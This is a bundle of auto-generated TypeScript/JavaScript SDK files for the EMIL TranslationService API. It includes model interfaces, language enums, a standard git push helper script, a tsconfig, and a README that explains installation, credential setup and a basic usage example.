"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
exports.UpdateProductLanguageRequestDtoLanguageEnum = void 0;
exports.UpdateProductLanguageRequestDtoLanguageEnum = {
German: 'German',
English: 'English',
Polish: 'Polish',
French: 'French',
Italian: 'Italian',
Spanish: 'Spanish',
Portuguese: 'Portuguese',
Russian: 'Russian',
Japanese: 'Japanese',
Chinese: 'Chinese',
Korean: 'Korean',
Turkish: 'Turkish',
Arabic: 'Arabic',
Hindi: 'Hindi',
Indonesian: 'Indonesian',
Thai: 'Thai',
Vietnamese: 'Vietnamese',
Persian: 'Persian',
Romanian: 'Romanian'
};
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { ProductLanguageClass } from './product-language-class';
/**
*
* @export
* @interface UpdateProductLanguageResponseClass
*/
export interface UpdateProductLanguageResponseClass {
/**
* The updated product language.
* @type {ProductLanguageClass}
* @memberof UpdateProductLanguageResponseClass
*/
'productLanguage': ProductLanguageClass;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { TranslationClass } from './translation-class';
/**
*
* @export
* @interface UploadProductTranslationsResponseClass
*/
export interface UploadProductTranslationsResponseClass {
/**
* The list of translations.
* @type {Array<TranslationClass>}
* @memberof UploadProductTranslationsResponseClass
*/
'translations': Array<TranslationClass>;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
Object.defineProperty(exports, "__esModule", { value: true });
#!/bin/sh
# ref: https://help.github.com/articles/adding-an-existing-project-to-github-using-the-command-line/
#
# Usage example: /bin/sh ./git_push.sh wing328 openapi-petstore-perl "minor update" "gitlab.com"
git_user_id=$1
git_repo_id=$2
release_note=$3
git_host=$4
if [ "$git_host" = "" ]; then
git_host="github.com"
echo "[INFO] No command line input provided. Set \$git_host to $git_host"
fi
if [ "$git_user_id" = "" ]; then
git_user_id="Emil"
echo "[INFO] No command line input provided. Set \$git_user_id to $git_user_id"
fi
if [ "$git_repo_id" = "" ]; then
git_repo_id="translation-sdk-node"
echo "[INFO] No command line input provided. Set \$git_repo_id to $git_repo_id"
fi
if [ "$release_note" = "" ]; then
release_note="Minor update"
echo "[INFO] No command line input provided. Set \$release_note to $release_note"
fi
# Initialize the local directory as a Git repository
git init
# Adds the files in the local repository and stages them for commit.
git add .
# Commits the tracked changes and prepares them to be pushed to a remote repository.
git commit -m "$release_note"
# Sets the new remote
git_remote=$(git remote)
if [ "$git_remote" = "" ]; then # git remote not defined
if [ "$GIT_TOKEN" = "" ]; then
echo "[INFO] \$GIT_TOKEN (environment variable) is not set. Using the git credential in your environment."
git remote add origin https://${git_host}/${git_user_id}/${git_repo_id}.git
else
git remote add origin https://${git_user_id}:"${GIT_TOKEN}"@${git_host}/${git_user_id}/${git_repo_id}.git
fi
fi
git pull origin master
# Pushes (Forces) the changes in the local repository up to the remote repository
echo "Git pushing to https://${git_host}/${git_user_id}/${git_repo_id}.git"
git push origin master 2>&1 | grep -v 'To https'
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
export { Environment, BaseAPI } from "./base";
export * from "./api";
export * from "./configuration";
export * from "./models";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface CreateProductLanguageRequestDto
*/
export interface CreateProductLanguageRequestDto {
/**
* A slug is a human-readable, unique identifier, used to identify a resource instead of a less human-readable identifier like an id.
* @type {string}
* @memberof CreateProductLanguageRequestDto
*/
'productSlug': string;
/**
* Language of the product.
* @type {string}
* @memberof CreateProductLanguageRequestDto
*/
'language': CreateProductLanguageRequestDtoLanguageEnum;
/**
* Indicates whether the language is activated for the product.
* @type {boolean}
* @memberof CreateProductLanguageRequestDto
*/
'isActive': boolean;
}
export const CreateProductLanguageRequestDtoLanguageEnum = {
German: 'German',
English: 'English',
Polish: 'Polish',
French: 'French',
Italian: 'Italian',
Spanish: 'Spanish',
Portuguese: 'Portuguese',
Russian: 'Russian',
Japanese: 'Japanese',
Chinese: 'Chinese',
Korean: 'Korean',
Turkish: 'Turkish',
Arabic: 'Arabic',
Hindi: 'Hindi',
Indonesian: 'Indonesian',
Thai: 'Thai',
Vietnamese: 'Vietnamese',
Persian: 'Persian',
Romanian: 'Romanian'
} as const;
export type CreateProductLanguageRequestDtoLanguageEnum = typeof CreateProductLanguageRequestDtoLanguageEnum[keyof typeof CreateProductLanguageRequestDtoLanguageEnum];
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { ProductLanguageClass } from './product-language-class';
/**
*
* @export
* @interface CreateProductLanguageResponseClass
*/
export interface CreateProductLanguageResponseClass {
/**
* The created product language.
* @type {ProductLanguageClass}
* @memberof CreateProductLanguageResponseClass
*/
'productLanguage': ProductLanguageClass;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { ProductLanguageClass } from './product-language-class';
/**
*
* @export
* @interface GetProductLanguageResponseClass
*/
export interface GetProductLanguageResponseClass {
/**
* The requested product language.
* @type {ProductLanguageClass}
* @memberof GetProductLanguageResponseClass
*/
'productLanguage': ProductLanguageClass;
}
export * from './create-product-language-request-dto';
export * from './create-product-language-response-class';
export * from './get-product-language-response-class';
export * from './inline-response200';
export * from './inline-response503';
export * from './list-product-languages-response-class';
export * from './list-translations-response-class';
export * from './product-language-class';
export * from './translation-class';
export * from './update-product-language-request-dto';
export * from './update-product-language-response-class';
export * from './upload-product-translations-response-class';
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InlineResponse200
*/
export interface InlineResponse200 {
/**
*
* @type {string}
* @memberof InlineResponse200
*/
'status'?: string;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'info'?: { [key: string]: { [key: string]: object; }; } | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'error'?: { [key: string]: { [key: string]: object; }; } | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse200
*/
'details'?: { [key: string]: { [key: string]: object; }; };
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface InlineResponse503
*/
export interface InlineResponse503 {
/**
*
* @type {string}
* @memberof InlineResponse503
*/
'status'?: string;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'info'?: { [key: string]: { [key: string]: object; }; } | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'error'?: { [key: string]: { [key: string]: object; }; } | null;
/**
*
* @type {{ [key: string]: { [key: string]: object; }; }}
* @memberof InlineResponse503
*/
'details'?: { [key: string]: { [key: string]: object; }; };
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { ProductLanguageClass } from './product-language-class';
/**
*
* @export
* @interface ListProductLanguagesResponseClass
*/
export interface ListProductLanguagesResponseClass {
/**
* The list of product languages.
* @type {Array<ProductLanguageClass>}
* @memberof ListProductLanguagesResponseClass
*/
'items': Array<ProductLanguageClass>;
/**
* Next page token.
* @type {string}
* @memberof ListProductLanguagesResponseClass
*/
'nextPageToken': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { TranslationClass } from './translation-class';
/**
*
* @export
* @interface ListTranslationsResponseClass
*/
export interface ListTranslationsResponseClass {
/**
* The list of translations.
* @type {Array<TranslationClass>}
* @memberof ListTranslationsResponseClass
*/
'items': Array<TranslationClass>;
/**
* Next page token.
* @type {string}
* @memberof ListTranslationsResponseClass
*/
'nextPageToken': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface ProductLanguageClass
*/
export interface ProductLanguageClass {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof ProductLanguageClass
*/
'id': number;
/**
* A slug is a human-readable, unique identifier, used to identify a resource instead of a less human-readable identifier like an id.
* @type {string}
* @memberof ProductLanguageClass
*/
'productSlug': string;
/**
* The language of the product.
* @type {string}
* @memberof ProductLanguageClass
*/
'language': ProductLanguageClassLanguageEnum;
/**
* Indicates whether the language is activated for the product.
* @type {boolean}
* @memberof ProductLanguageClass
*/
'isActive': boolean;
/**
* The translation status. It tells if the language is ready to be used in the product and how many fields are missing.
* @type {object}
* @memberof ProductLanguageClass
*/
'translationStatus': object | null;
/**
* Time at which the object was created.
* @type {string}
* @memberof ProductLanguageClass
*/
'createdAt': string;
/**
* Time at which the object was updated.
* @type {string}
* @memberof ProductLanguageClass
*/
'updatedAt': string;
}
export const ProductLanguageClassLanguageEnum = {
German: 'German',
English: 'English',
Polish: 'Polish',
French: 'French',
Italian: 'Italian',
Spanish: 'Spanish',
Portuguese: 'Portuguese',
Russian: 'Russian',
Japanese: 'Japanese',
Chinese: 'Chinese',
Korean: 'Korean',
Turkish: 'Turkish',
Arabic: 'Arabic',
Hindi: 'Hindi',
Indonesian: 'Indonesian',
Thai: 'Thai',
Vietnamese: 'Vietnamese',
Persian: 'Persian',
Romanian: 'Romanian'
} as const;
export type ProductLanguageClassLanguageEnum = typeof ProductLanguageClassLanguageEnum[keyof typeof ProductLanguageClassLanguageEnum];
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface TranslationClass
*/
export interface TranslationClass {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof TranslationClass
*/
'id': number;
/**
* Identifier of the translated field
* @type {string}
* @memberof TranslationClass
*/
'key': string;
/**
* Language of the translation
* @type {string}
* @memberof TranslationClass
*/
'language': string;
/**
* Translated value
* @type {string}
* @memberof TranslationClass
*/
'value': string;
/**
* Time at which the object was created.
* @type {string}
* @memberof TranslationClass
*/
'createdAt': string;
/**
* Time at which the object was updated.
* @type {string}
* @memberof TranslationClass
*/
'updatedAt': string;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
/**
*
* @export
* @interface UpdateProductLanguageRequestDto
*/
export interface UpdateProductLanguageRequestDto {
/**
* Internal unique identifier for the object. You should not have to use this, use code instead.
* @type {number}
* @memberof UpdateProductLanguageRequestDto
*/
'id': number;
/**
* Language of the product.
* @type {string}
* @memberof UpdateProductLanguageRequestDto
*/
'language': UpdateProductLanguageRequestDtoLanguageEnum;
/**
* Indicates whether the language is activated for the product.
* @type {boolean}
* @memberof UpdateProductLanguageRequestDto
*/
'isActive': boolean;
}
export const UpdateProductLanguageRequestDtoLanguageEnum = {
German: 'German',
English: 'English',
Polish: 'Polish',
French: 'French',
Italian: 'Italian',
Spanish: 'Spanish',
Portuguese: 'Portuguese',
Russian: 'Russian',
Japanese: 'Japanese',
Chinese: 'Chinese',
Korean: 'Korean',
Turkish: 'Turkish',
Arabic: 'Arabic',
Hindi: 'Hindi',
Indonesian: 'Indonesian',
Thai: 'Thai',
Vietnamese: 'Vietnamese',
Persian: 'Persian',
Romanian: 'Romanian'
} as const;
export type UpdateProductLanguageRequestDtoLanguageEnum = typeof UpdateProductLanguageRequestDtoLanguageEnum[keyof typeof UpdateProductLanguageRequestDtoLanguageEnum];
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { ProductLanguageClass } from './product-language-class';
/**
*
* @export
* @interface UpdateProductLanguageResponseClass
*/
export interface UpdateProductLanguageResponseClass {
/**
* The updated product language.
* @type {ProductLanguageClass}
* @memberof UpdateProductLanguageResponseClass
*/
'productLanguage': ProductLanguageClass;
}
/* tslint:disable */
/* eslint-disable */
/**
* EMIL TranslationService
* The EMIL TranslationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
import { TranslationClass } from './translation-class';
/**
*
* @export
* @interface UploadProductTranslationsResponseClass
*/
export interface UploadProductTranslationsResponseClass {
/**
* The list of translations.
* @type {Array<TranslationClass>}
* @memberof UploadProductTranslationsResponseClass
*/
'translations': Array<TranslationClass>;
}
# Emil Translation SDK for Nodejs
This TypeScript/JavaScript client utilizes [axios](https://github.com/axios/axios). The generated Node module can be used with Nodejs based applications.
Language level
* ES5 - you must have a Promises/A+ library installed
* ES6
Module system
* CommonJS
* ES6 module system
Although this package can be used in both TypeScript and JavaScript, it is intended to be used with TypeScript. The definition should be automatically resolved via `package.json`. ([Reference](http://www.typescriptlang.org/docs/handbook/typings-for-npm-packages.html)). For more information, you can go to [Emil Api documentation](https://emil.stoplight.io/docs/emil-api/).
## Consuming
Navigate to the folder of your consuming project and run one of the following commands:
```
npm install @emilgroup/translation-sdk-node@1.1.1-beta.12 --save
```
or
```
yarn add @emilgroup/translation-sdk-node@1.1.1-beta.12
```
And then you can import `TranslationApi`.
```ts
import { TranslationApi } from '@emilgroup/translation-sdk-node'
const translationApi = new TranslationApi();
```
## Credentials
To use authentication protected endpoints, you have to first authorize. To do so, the easiest way is to provide a configuration file under `~/.emil/credentials` with the following content:
```shell
emil_username=XXXXX@XXXX.XXX
emil_password=XXXXXXXXXXXXXX
```
It is also possible to provide environment variables instead:
```shell
export EMIL_USERNAME=XXXXX@XXXX.XXX
export EMIL_PASSWORD=XXXXXXXXXXXXXX
```
## Base path
To select the basic path for using the API, we can use two approaches. The first is to use one of the predefined environments, and the second is to specify the domain as a string.
```ts
import { TranslationApi, Environment } from '@emilgroup/translation-sdk-node'
const translationApi = new TranslationApi();
// Allows you to simply choose environment. It will usually be Environment.Production.
translationApi.selectEnvironment(Environment.Production);
// For advanced users, use the custom baseUrl of the website you need to connect to.
translationApi.selectBasePath('https://my-custom-domain.com');
```
## Example
Here is a basic functionning example:
```ts
async function listTranslations(): Promise<Void> {
try {
const translationApi = new TranslationApi();
await translationApi.initialize(); // should be called only once per Api.
const { data: { items } } = await translationApi.listTranslations();
console.log(items);
} catch(error) {
// process error
}
}
```
{
"compilerOptions": {
"declaration": true,
"target": "ES5",
"module": "CommonJS",
"noImplicitAny": true,
"esModuleInterop": true,
"noImplicitOverride": true,
"outDir": "dist",
"rootDir": ".",
"lib": [
"es6",
"dom"
],
"typeRoots": [
"node_modules/@types"
]
},
"exclude": [
"dist",
"node_modules"
]
}